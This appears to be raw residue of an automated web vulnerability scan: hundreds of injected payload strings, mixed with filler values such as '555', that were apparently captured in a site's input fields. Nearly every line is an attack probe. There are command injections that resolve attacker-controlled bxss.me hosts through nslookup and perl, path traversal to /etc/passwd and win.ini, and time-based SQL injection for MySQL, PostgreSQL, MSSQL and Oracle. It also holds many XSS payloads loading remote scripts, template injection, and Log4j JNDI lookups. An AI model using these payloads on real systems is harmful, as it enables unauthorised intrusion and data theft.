(nslookup hitefehhowhob4593d.bxss.me||perl -e "gethostbyname('hitefehhowhob4593d.bxss.me')")
file:///etc/passwd
$(nslookup hitscbmjdpeomba4e0.bxss.me||perl -e "gethostbyname('hitscbmjdpeomba4e0.bxss.me')")
bcc:074625.1141-104352.1141.b9947.19250.2@bxss.me
../
to@example.com>
bcc:074625.1141-104354.1141.b9947.19250.2@bxss.me
&(nslookup hitofakcvtxdk24280.bxss.me||perl -e "gethostbyname('hitofakcvtxdk24280.bxss.me')")&'\"`0&(nslookup hitofakcvtxdk24280.bxss.me||perl -e "gethostbyname('hitofakcvtxdk24280.bxss.me')")&`'
./
<esi:include src="http://bxss.me/rpb.png"/>
|(nslookup hitnjceqegaaid6f2c.bxss.me||perl -e "gethostbyname('hitnjceqegaaid6f2c.bxss.me')")
`(nslookup hitsymeiivctwcedd6.bxss.me||perl -e "gethostbyname('hitsymeiivctwcedd6.bxss.me')")`
${9999474+9999722}
;(nslookup hitdbgonouheufcc6b.bxss.me||perl -e "gethostbyname('hitdbgonouheufcc6b.bxss.me')")|(nslookup hitdbgonouheufcc6b.bxss.me||perl -e "gethostbyname('hitdbgonouheufcc6b.bxss.me')")&(nslookup hitdbgonouheufcc6b.bxss.me||perl -e "gethostbyname('hitdbgonouheufcc6b.bxss.me')")
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
&n971680=v943895
)
Http://bxss.me/t/fit.txt
!(()&&!|*|*|
http://bxss.me/t/fit.txt?.jpg
^(#$!@#$)(()))******
/etc/shells
'"()
c:/windows/win.ini
bxss.me
'.gethostbyname(lc('hitgq'.'plkwmbhqd659e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(88).chr(104).chr(69).'
".gethostbyname(lc("hitmc"."sfivhdrxe8bb5.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(65).chr(101).chr(84)."
'&&sleep(27*1000)*ziyecd&&'
"&&sleep(27*1000)*jsxrzx&&"
'||sleep(27*1000)*qfrgdz||'
"||sleep(27*1000)*jzxvnr||"
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
ctime
sleep
p0
(I30
tp1
Rp2
.
";print(md5(31337));$a="
${@print(md5(31337))}
str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitzedcynkiwqf7eee.'+'bxss.me')
${@print(md5(31337))}\
'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitzedcynkiwqf7eee."+"bxss.me")+'
HttP://bxss.me/t/xss.html?%00
"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitzedcynkiwqf7eee.'+'bxss.me')+"
'.print(md5(31337)).'
bxss.me/t/xss.html?%00
"+"A".concat(70-3).concat(22*4).concat(108).concat(71).concat(117).concat(86)+(require"socket"
Socket.gethostbyname("hitjp"+"ipzpyvowa1320.bxss.me.")[3].to_s)+"
-1 OR 2+631-631-1=0+0+0+1 --
-1 OR 3+631-631-1=0+0+0+1 --
'+'A'.concat(70-3).concat(22*4).concat(118).concat(67).concat(99).concat(81)+(require'socket'
Socket.gethostbyname('hitbo'+'uwkbykuacad05.bxss.me.')[3].to_s)+'
-1 OR 2+400-400-1=0+0+0+1
-1 OR 3+400-400-1=0+0+0+1
-1' OR 2+363-363-1=0+0+0+1 --
nopcommerce-new-release
-1' OR 3+363-363-1=0+0+0+1 --
-1' OR 2+497-497-1=0+0+0+1 or 'jJjQ06js'='
nopcommerce-new-release/.
-1' OR 3+497-497-1=0+0+0+1 or 'jJjQ06js'='
http://hitvskmojcwpx.bxss.me/
-1" OR 2+44-44-1=0+0+0+1 --
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
-1" OR 3+44-44-1=0+0+0+1 --
/xfs.bxss.me
'"
'"()&%<zzz><ScRiPt >NCBW(9447)</ScRiPt>
<!--
'"()&%<zzz><ScRiPt >NCBW(9548)</ScRiPt>
9296782
bfg5061<s1﹥s2ʺs3ʹhjl5061
bfgx9349%C0%BEz1%C0%BCz2a%90bcxhjl9349
<%={{={@{#{${dfb}}%>
if(now()=sysdate(),sleep(15),0)
<th:t="${dfb}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
<ScRiPt >NCBW(9129)</ScRiPt>
<WMO69W>8MKFW[!+!]</WMO69W>
<script>NCBW(9588)</script>
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
<ScR<ScRiPt>IpT>NCBW(9415)</sCr<ScRiPt>IpT>
<ScRiPt
>NCBW(9760)</ScRiPt>
<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9718></ScRiPt>
<isindex type=image src=1 onerror=NCBW(9132)>
<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9770'>
<body onload=NCBW(9324)>
<img src=//xss.bxss.me/t/dot.gif onload=NCBW(9211)>
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
<img src=xyz OnErRor=NCBW(9767)>
<img/src=">" onerror=alert(9730)>
%0D%0A%3C%53%63%52%69%50%74%20%3E%4E%43%42%57%289618%29%3C%2F%73%43%72%69%70%54%3E
\u003CScRiPt\NCBW(9825)\u003C/sCripT\u003E
<ScRiPt>NCBW(9123)</sCripT>
%F6<img zzz onmouseover=NCBW(99821) //%F6>
<input autofocus onfocus=NCBW(9897)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
}body{zzz:Expre/**/SSion(NCBW(9171))}
aPAF5
<ScRiPt >NCBW(9743)</ScRiPt>
<WRTAIG>TTLP4[!+!]</WRTAIG>
<ifRAme sRc=9189.com></IfRamE>
<assApSV x=9569>
<img sRc='http://attacker-9061/log.php?
<aCMUYtp<
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --


-1)); waitfor delay '0:0:15' --


1 waitfor delay '0:0:15' --
ZIFQVvaQ'; waitfor delay '0:0:15' --
O8fjqQM9'); waitfor delay '0:0:15' --
7f0v6KYs')); waitfor delay '0:0:15' --
-5 OR 128=(SELECT 128 FROM PG_SLEEP(15))--
-5) OR 572=(SELECT 572 FROM PG_SLEEP(15))--
1CdBzyYFczO
555
-1)) OR 854=(SELECT 854 FROM PG_SLEEP(15))--
555
Y38Tputg' OR 610=(SELECT 610 FROM PG_SLEEP(15))--
555
-1 OR 2+280-280-1=0+0+0+1 --
-1 OR 2+199-199-1=0+0+0+1
-1' OR 2+518-518-1=0+0+0+1 --
-1' OR 2+409-409-1=0+0+0+1 or 'qSbuXYrv'='
-1" OR 2+332-332-1=0+0+0+1 --
gfFmBgtD') OR 443=(SELECT 443 FROM PG_SLEEP(15))--
${j${::-n}di:dns${::-:}${::-/}/hitoykapkcwzo0719f${::-.}bxss.me}zzzz
response.write(9742612*9274504)
555'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/bsp?u=074625&r=1141-105787&h=1141-b9947-2&"></script>
'+response.write(9742612*9274504)+'
/../../../../../../../../../../windows/system32/BITSADMIN.exe
555
if(now()=sysdate(),sleep(15),0)
"+response.write(9742612*9274504)+"
555
%BF💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitcletonvxhgff0cc${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
555
555
555
${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}/dns.log4j.074625.1141-105791.1141.b9947${::-.}1${::-.}bxss.me}}
eSRwlJUJ
echo ibqnsz$()\ mkdvru\nz^xyu||a #' &echo ibqnsz$()\ mkdvru\nz^xyu||a #|" &echo ibqnsz$()\ mkdvru\nz^xyu||a #
555
555
../../../../../../../../../../../../../../etc/passwd
555
&echo pgdpqh$()\ rqjqfd\nz^xyu||a #' &echo pgdpqh$()\ rqjqfd\nz^xyu||a #|" &echo pgdpqh$()\ rqjqfd\nz^xyu||a #
555
bcc:074625.1141-105792.1141.b9947.19250.2@bxss.me
../../../../../../../../../../../../../../windows/win.ini
|echo dhgiul$()\ vdymqp\nz^xyu||a #' |echo dhgiul$()\ vdymqp\nz^xyu||a #|" |echo dhgiul$()\ vdymqp\nz^xyu||a #
to@example.com>
bcc:074625.1141-105793.1141.b9947.19250.2@bxss.me
lPrLSdIm')) OR 649=(SELECT 649 FROM PG_SLEEP(15))--
file:///etc/passwd
(nslookup hitapjpqhaykb175bc.bxss.me||perl -e "gethostbyname('hitapjpqhaykb175bc.bxss.me')")
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
../555
$(nslookup hitlbxdrmhwmu3dca1.bxss.me||perl -e "gethostbyname('hitlbxdrmhwmu3dca1.bxss.me')")
555
555
${9999360+9999307}
555
555
555
&(nslookup hitsgqmxgbglkc0736.bxss.me||perl -e "gethostbyname('hitsgqmxgbglkc0736.bxss.me')")&'\"`0&(nslookup hitsgqmxgbglkc0736.bxss.me||perl -e "gethostbyname('hitsgqmxgbglkc0736.bxss.me')")&`'
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555&n981171=v938539
|(nslookup hitzjiidtexlu602d7.bxss.me||perl -e "gethostbyname('hitzjiidtexlu602d7.bxss.me')")
555
Http://bxss.me/t/fit.txt
555
)
http://bxss.me/t/fit.txt?.jpg
555
`(nslookup hitayefwaizuh038f1.bxss.me||perl -e "gethostbyname('hitayefwaizuh038f1.bxss.me')")`
!(()&&!|*|*|
'"()
/etc/shells
^(#$!@#$)(()))******
555
c:/windows/win.ini
555
555
;(nslookup hitcdekqwweep1c991.bxss.me||perl -e "gethostbyname('hitcdekqwweep1c991.bxss.me')")|(nslookup hitcdekqwweep1c991.bxss.me||perl -e "gethostbyname('hitcdekqwweep1c991.bxss.me')")&(nslookup hitcdekqwweep1c991.bxss.me||perl -e "gethostbyname('hitcdekqwweep1c991.bxss.me')")
bxss.me
555
555
555
'.gethostbyname(lc('hitni'.'pxfgicsh1d49f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(66).chr(121).chr(87).'
555
555'&&sleep(27*1000)*trgyew&&'
555
555"&&sleep(27*1000)*mxunzp&&"
555
555
555
".gethostbyname(lc("hitda"."jcsshovl65ef8.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(79).chr(117).chr(68)."
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555'||sleep(27*1000)*svpxlq||'
555
555
';print(md5(31337));$a='
555"||sleep(27*1000)*qxaeqs||"
555
555
555
str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitqbyrdxadzxdd276.'+'bxss.me')
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
";print(md5(31337));$a="
555
'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitqbyrdxadzxdd276."+"bxss.me")+'
${@print(md5(31337))}
555
555
555
"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitqbyrdxadzxdd276.'+'bxss.me')+"
555
${@print(md5(31337))}\
555
555
555
'.print(md5(31337)).'
555
555
555
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
bxss.me/t/xss.html?%00
555
555
"+"A".concat(70-3).concat(22*4).concat(114).concat(78).concat(98).concat(67)+(require"socket"
Socket.gethostbyname("hittt"+"qqzxgyifd774b.bxss.me.")[3].to_s)+"
555
555
555
555
555
555
nopcommerce-new-release
555
555
'+'A'.concat(70-3).concat(22*4).concat(121).concat(71).concat(101).concat(87)+(require'socket'
Socket.gethostbyname('hitkq'+'buyzeppt45150.bxss.me.')[3].to_s)+'
nopcommerce-new-release/.
555
555
555
555
555
http://hithnhuteevqb.bxss.me/
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
/xfs.bxss.me
'"
555
555
<!--
555'"()&%<zzz><ScRiPt >GuI2(9202)</ScRiPt>
555
555
555
'"()&%<zzz><ScRiPt >GuI2(9605)</ScRiPt>
5559636456
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
bfg4698<s1﹥s2ʺs3ʹhjl4698
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
bfgx8448%C0%BEz1%C0%BCz2a%90bcxhjl8448
1'"
555
555
@@jY9yX
<%={{={@{#{${dfb}}%>
555
555
<th:t="${dfb}#foreach
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
dfb__${98991*97996}__::.x
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555<ScRiPt >GuI2(9528)</ScRiPt>
555<WLE1V0>TLUK6[!+!]</WLE1V0>
555<script>GuI2(9177)</script>


555<ScR<ScRiPt>IpT>GuI2(9903)</sCr<ScRiPt>IpT>
555<ScRiPt
>GuI2(9412)</ScRiPt>
-1; waitfor delay '0:0:15' --
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9482></ScRiPt>
555<isindex type=image src=1 onerror=GuI2(9113)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9172'>
555<body onload=GuI2(9672)>
555<img src=//xss.bxss.me/t/dot.gif onload=GuI2(9930)>
555<img src=xyz OnErRor=GuI2(9701)>
555<img/src=">" onerror=alert(9438)>
%35%35%35%3C%53%63%52%69%50%74%20%3E%47%75%49%32%289904%29%3C%2F%73%43%72%69%70%54%3E
555\u003CScRiPt\GuI2(9960)\u003C/sCripT\u003E
-1); waitfor delay '0:0:15' --
555<ScRiPt>GuI2(9262)</sCripT>
%F6<img zzz onmouseover=GuI2(95071) //%F6>
555<input autofocus onfocus=GuI2(9811)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
555}body{zzz:Expre/**/SSion(GuI2(9405))}
555GqxgL
<ScRiPt >GuI2(9533)</ScRiPt>
-1)); waitfor delay '0:0:15' --
555<WXTAVZ>H4FOQ[!+!]</WXTAVZ>
555<ifRAme sRc=9186.com></IfRamE>
555<aJVBSpy x=9296>
555<img sRc='http://attacker-9540/log.php?
555<aT7iDJC<
555
555
1 waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555
1Uu9AeCD'; waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555
a4lR6ziY'); waitfor delay '0:0:15' --
555
555
555
555
555
555
555
G6VDH82b')); waitfor delay '0:0:15' --
555
555
555
555
555
555
555
-5 OR 274=(SELECT 274 FROM PG_SLEEP(15))--
555
555
555
555
555
555
-5) OR 420=(SELECT 420 FROM PG_SLEEP(15))--
555
555
-1)) OR 426=(SELECT 426 FROM PG_SLEEP(15))--
0p5yRt29' OR 734=(SELECT 734 FROM PG_SLEEP(15))--
QpAS9sVT') OR 757=(SELECT 757 FROM PG_SLEEP(15))--
vKGtCXUr')) OR 767=(SELECT 767 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@JJVn5
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555


555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<zzz><ScRiPt >tPna(9440)</ScRiPt>
555
555
555
555
555
555
'"()&%<zzz><ScRiPt >tPna(9948)</ScRiPt>
555
555
555
555
555
555
5559884166
555
555
555
555
555
bfg3170<s1﹥s2ʺs3ʹhjl3170
555
555
555
555
555
555
bfgx4587%C0%BEz1%C0%BCz2a%90bcxhjl4587
555
555
555
555
555
555
555
<%={{={@{#{${dfb}}%>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
<th:t="${dfb}#foreach
555
555
555
555
555
555
555
555
555
555
555
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
dfb{{98991*97996}}xca
555
555'"()&%<zzz><ScRiPt >EZvS(9008)</ScRiPt>
555
555
555
555
555
555
555
dfb[[${98991*97996}]]xca
'"()&%<zzz><ScRiPt >EZvS(9821)</ScRiPt>
555
555
555
555
555
555
555
555
dfb__${98991*97996}__::.x
555
5559070652
555
555
555
555
555
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
555
555
555
bfg8542<s1﹥s2ʺs3ʹhjl8542
555
555
555
555'"()&%<zzz><ScRiPt >nUKs(9733)</ScRiPt>
555
555<ScRiPt >tPna(9867)</ScRiPt>
555
555
555
bfgx8243%C0%BEz1%C0%BCz2a%90bcxhjl8243
555
555
'"()&%<zzz><ScRiPt >nUKs(9032)</ScRiPt>
555
555
555
555<WVWMT6>CGYS8[!+!]</WVWMT6>
555
555
<%={{={@{#{${dfb}}%>
555
5559631004
555
555
555
555
555<script>tPna(9730)</script>
555
<th:t="${dfb}#foreach
bfg1398<s1﹥s2ʺs3ʹhjl1398
555
555
555
555
555
555
555
555<ScR<ScRiPt>IpT>tPna(9436)</sCr<ScRiPt>IpT>
555
bfgx9176%C0%BEz1%C0%BCz2a%90bcxhjl9176
555
555
555
555
555
555
555
555<ScRiPt
>tPna(9703)</ScRiPt>
555'"()&%<zzz><ScRiPt >VHg0(9064)</ScRiPt>
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
<%={{={@{#{${dfb}}%>
555
555
555
555
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9294></ScRiPt>
555
555
'"()&%<zzz><ScRiPt >VHg0(9719)</ScRiPt>
555
555
555
555
dfb{{98991*97996}}xca
555
555
555
5559189179
555
<th:t="${dfb}#foreach
555
555
dfb[[${98991*97996}]]xca
555
555
555<isindex type=image src=1 onerror=tPna(9064)>
555
bfg5390<s1﹥s2ʺs3ʹhjl5390
555
555
555
dfb__${98991*97996}__::.x
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9340'>
555
bfgx4910%C0%BEz1%C0%BCz2a%90bcxhjl4910
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555
555<body onload=tPna(9667)>
555
555'"()&%<zzz><ScRiPt >vtwx(9996)</ScRiPt>
555'"()&%<zzz><ScRiPt >82mw(9215)</ScRiPt>
<%={{={@{#{${dfb}}%>
555
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555'"()&%<zzz><ScRiPt >TCi4(9696)</ScRiPt>
555
555
555<img src=//xss.bxss.me/t/dot.gif onload=tPna(9025)>
555
555
'"()&%<zzz><ScRiPt >vtwx(9809)</ScRiPt>
'"()&%<zzz><ScRiPt >TCi4(9996)</ScRiPt>
555
555<ScRiPt >EZvS(9457)</ScRiPt>
dfb{{98991*97996}}xca
'"()&%<zzz><ScRiPt >82mw(9355)</ScRiPt>
555
555
555
555<img src=xyz OnErRor=tPna(9486)>
555
555
5559770063
5559366000
555<WBRMNH>DCDG8[!+!]</WBRMNH>
dfb[[${98991*97996}]]xca
555
<th:t="${dfb}#foreach
555
555
5559117072
555<script>EZvS(9763)</script>
555<img/src=">" onerror=alert(9399)>
555
bfg1368<s1﹥s2ʺs3ʹhjl1368
555
bfg1283<s1﹥s2ʺs3ʹhjl1283
dfb__${98991*97996}__::.x
555
555
555
555
bfg1239<s1﹥s2ʺs3ʹhjl1239
%35%35%35%3C%53%63%52%69%50%74%20%3E%74%50%6E%61%289346%29%3C%2F%73%43%72%69%70%54%3E
555<ScR<ScRiPt>IpT>EZvS(9897)</sCr<ScRiPt>IpT>
bfgx10573%C0%BEz1%C0%BCz2a%90bcxhjl10573
555
555
bfgx1760%C0%BEz1%C0%BCz2a%90bcxhjl1760
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
bfgx1506%C0%BEz1%C0%BCz2a%90bcxhjl1506
555<ScRiPt
>EZvS(9643)</ScRiPt>
555\u003CScRiPt\tPna(9980)\u003C/sCripT\u003E
<%={{={@{#{${dfb}}%>
<%={{={@{#{${dfb}}%>
555
555
555
555
555
555<ScRiPt >nUKs(9521)</ScRiPt>
555<ScRiPt>tPna(9530)</sCripT>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9801></ScRiPt>
<%={{={@{#{${dfb}}%>
555
dfb{{98991*97996}}xca
555
555
555
555
555<WIGVJY>M6JGH[!+!]</WIGVJY>
%F6<img zzz onmouseover=tPna(93891) //%F6>
555
555
dfb[[${98991*97996}]]xca
555
555
<th:t="${dfb}#foreach
<th:t="${dfb}#foreach
555
555<script>nUKs(9491)</script>
555<input autofocus onfocus=tPna(9821)>
555
dfb__${98991*97996}__::.x
<th:t="${dfb}#foreach
555
555<isindex type=image src=1 onerror=EZvS(9701)>
555
555
555
555
555<ScR<ScRiPt>IpT>nUKs(9933)</sCr<ScRiPt>IpT>
<a HrEF=http://xss.bxss.me></a>
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9222'>
555
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555<ScRiPt
>nUKs(9653)</ScRiPt>
<a HrEF=jaVaScRiPT:>
555
555
555<body onload=EZvS(9254)>
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555<ScRiPt >VHg0(9218)</ScRiPt>
555
555
555}body{zzz:Expre/**/SSion(tPna(9340))}
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9145></ScRiPt>
555
555<img src=//xss.bxss.me/t/dot.gif onload=EZvS(9042)>
555
555
555
dfb{{98991*97996}}xca
dfb{{98991*97996}}xca
555<WLABPH>DXPDC[!+!]</WLABPH>
555ordli
<ScRiPt >tPna(9931)</ScRiPt>
555
555<img src=xyz OnErRor=EZvS(9064)>
555
555
dfb{{98991*97996}}xca
555
555<WGNJWQ>W5SRB[!+!]</WGNJWQ>
dfb[[${98991*97996}]]xca
555<script>VHg0(9330)</script>
dfb[[${98991*97996}]]xca
555
555<isindex type=image src=1 onerror=nUKs(9231)>
555
555<img/src=">" onerror=alert(9334)>
dfb[[${98991*97996}]]xca
555
555<ScR<ScRiPt>IpT>VHg0(9823)</sCr<ScRiPt>IpT>
555<ifRAme sRc=9191.com></IfRamE>
dfb__${98991*97996}__::.x
dfb__${98991*97996}__::.x
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9871'>
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%45%5A%76%53%289702%29%3C%2F%73%43%72%69%70%54%3E
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555<aq9JMx4 x=9420>
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555<ScRiPt
>VHg0(9794)</ScRiPt>
555
555<body onload=nUKs(9927)>
555
555
555\u003CScRiPt\EZvS(9171)\u003C/sCripT\u003E
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555<ScRiPt >vtwx(9503)</ScRiPt>
555<ScRiPt >TCi4(9958)</ScRiPt>
555<img src=//xss.bxss.me/t/dot.gif onload=nUKs(9970)>
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9815></ScRiPt>
555
555<img sRc='http://attacker-9790/log.php?
555<ScRiPt >82mw(9162)</ScRiPt>
555<ScRiPt>EZvS(9879)</sCripT>
555
555
555<img src=xyz OnErRor=nUKs(9923)>
555<WPJC0G>RPMW9[!+!]</WPJC0G>
555<W7BJMK>2Q6UT[!+!]</W7BJMK>
555
555<aHOMXkH<
555
555<WKM6SK>7AEBU[!+!]</WKM6SK>
555
555<script>TCi4(9302)</script>
%F6<img zzz onmouseover=EZvS(96151) //%F6>
555<img/src=">" onerror=alert(9733)>
555<script>vtwx(9252)</script>
555<isindex type=image src=1 onerror=VHg0(9500)>
555<script>82mw(9944)</script>
555<input autofocus onfocus=EZvS(9816)>
555<ScR<ScRiPt>IpT>TCi4(9955)</sCr<ScRiPt>IpT>
%35%35%35%3C%53%63%52%69%50%74%20%3E%6E%55%4B%73%289623%29%3C%2F%73%43%72%69%70%54%3E
555<ScR<ScRiPt>IpT>vtwx(9898)</sCr<ScRiPt>IpT>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9737'>
555<ScR<ScRiPt>IpT>82mw(9360)</sCr<ScRiPt>IpT>
<a HrEF=http://xss.bxss.me></a>
555<ScRiPt
>TCi4(9760)</ScRiPt>
555\u003CScRiPt\nUKs(9821)\u003C/sCripT\u003E
555<ScRiPt
>vtwx(9861)</ScRiPt>
555<body onload=VHg0(9944)>
555<ScRiPt
>82mw(9008)</ScRiPt>
<a HrEF=jaVaScRiPT:>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9438></ScRiPt>
555<ScRiPt>nUKs(9641)</sCripT>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9092></ScRiPt>
555<img src=//xss.bxss.me/t/dot.gif onload=VHg0(9686)>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9479></ScRiPt>
%F6<img zzz onmouseover=nUKs(90511) //%F6>
555}body{zzz:Expre/**/SSion(EZvS(9772))}
555<img src=xyz OnErRor=VHg0(9830)>
555<input autofocus onfocus=nUKs(9979)>
555ZBoe4
<ScRiPt >EZvS(9607)</ScRiPt>
555<img/src=">" onerror=alert(9183)>
555<isindex type=image src=1 onerror=vtwx(9516)>
555<isindex type=image src=1 onerror=TCi4(9541)>
<a HrEF=http://xss.bxss.me></a>
%35%35%35%3C%53%63%52%69%50%74%20%3E%56%48%67%30%289847%29%3C%2F%73%43%72%69%70%54%3E
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9036'>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9028'>
555<WTTWT0>NNO7D[!+!]</WTTWT0>
555<isindex type=image src=1 onerror=82mw(9888)>
<a HrEF=jaVaScRiPT:>
555<body onload=vtwx(9362)>
555\u003CScRiPt\VHg0(9526)\u003C/sCripT\u003E
555<body onload=TCi4(9262)>
555<ifRAme sRc=9015.com></IfRamE>
555}body{zzz:Expre/**/SSion(nUKs(9975))}
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9334'>
555<img src=//xss.bxss.me/t/dot.gif onload=vtwx(9449)>
555<alvHU0V x=9624>
555<ScRiPt>VHg0(9271)</sCripT>
555<img src=//xss.bxss.me/t/dot.gif onload=TCi4(9460)>
5554XoRa
<ScRiPt >nUKs(9021)</ScRiPt>
555<body onload=82mw(9218)>
555<img src=xyz OnErRor=vtwx(9366)>
555<img sRc='http://attacker-9960/log.php?
%F6<img zzz onmouseover=VHg0(99331) //%F6>
555<WPCH3Z>376QX[!+!]</WPCH3Z>
555<img src=xyz OnErRor=TCi4(9212)>
555<img src=//xss.bxss.me/t/dot.gif onload=82mw(9913)>
555<img/src=">" onerror=alert(9240)>
555<aLUyrcr<
555<input autofocus onfocus=VHg0(9316)>
555<img/src=">" onerror=alert(9282)>
555<img src=xyz OnErRor=82mw(9338)>
555<ifRAme sRc=9448.com></IfRamE>
%35%35%35%3C%53%63%52%69%50%74%20%3E%76%74%77%78%289905%29%3C%2F%73%43%72%69%70%54%3E
%35%35%35%3C%53%63%52%69%50%74%20%3E%54%43%69%34%289643%29%3C%2F%73%43%72%69%70%54%3E
<a HrEF=http://xss.bxss.me></a>
555<ad84z5C x=9387>
555<img/src=">" onerror=alert(9521)>
555\u003CScRiPt\vtwx(9565)\u003C/sCripT\u003E
555\u003CScRiPt\TCi4(9040)\u003C/sCripT\u003E
<a HrEF=jaVaScRiPT:>
555<img sRc='http://attacker-9390/log.php?
%35%35%35%3C%53%63%52%69%50%74%20%3E%38%32%6D%77%289103%29%3C%2F%73%43%72%69%70%54%3E
555<ScRiPt>vtwx(9215)</sCripT>
555<ScRiPt>TCi4(9352)</sCripT>
555}body{zzz:Expre/**/SSion(VHg0(9921))}
